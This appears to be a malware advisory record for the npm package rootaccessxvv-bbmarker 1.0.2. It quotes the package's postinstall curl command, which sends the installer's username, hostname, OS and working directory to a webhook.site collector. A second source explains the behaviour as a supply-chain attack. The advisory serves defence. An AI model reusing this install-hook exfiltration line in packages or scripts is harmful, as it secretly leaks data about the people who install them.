---
id: "MAL-2026-18108"
kind: "package"
aliases: ["MAL-2026-18108"]
title: "Malicious code in rootaccessxvv-bbmarker (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "rootaccessxvv-bbmarker", "fixed": [], "affected": "= 1.0.2", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-10-18T05:50:46+00:00"
first_seen_at: "2026-10-26T20:51:48+00:00"
updated_at: "2026-10-26T21:06:18+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-18108", "first_seen_at": "2026-10-26T20:51:48+00:00"}]
---

# Malicious code in rootaccessxvv-bbmarker (npm)

## Affected

- npm:rootaccessxvv-bbmarker affected = 1.0.2 fixed ?

## Timeline

- 2026-10-26T20:51:48+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-18108

## From the sources

Its `postinstall` hook runs on npm install: `curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv" || true`. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to `https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof`. The npm account `mohamed2343224` published it on 2026-10-18.

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02)
package.json declares a postinstall lifecycle script that runs on `npm install` and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to `whoami`, `hostname`, `uname`, and `node -v`, concatenates the output with the current working directory, and sends the result via `curl -X POST`. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_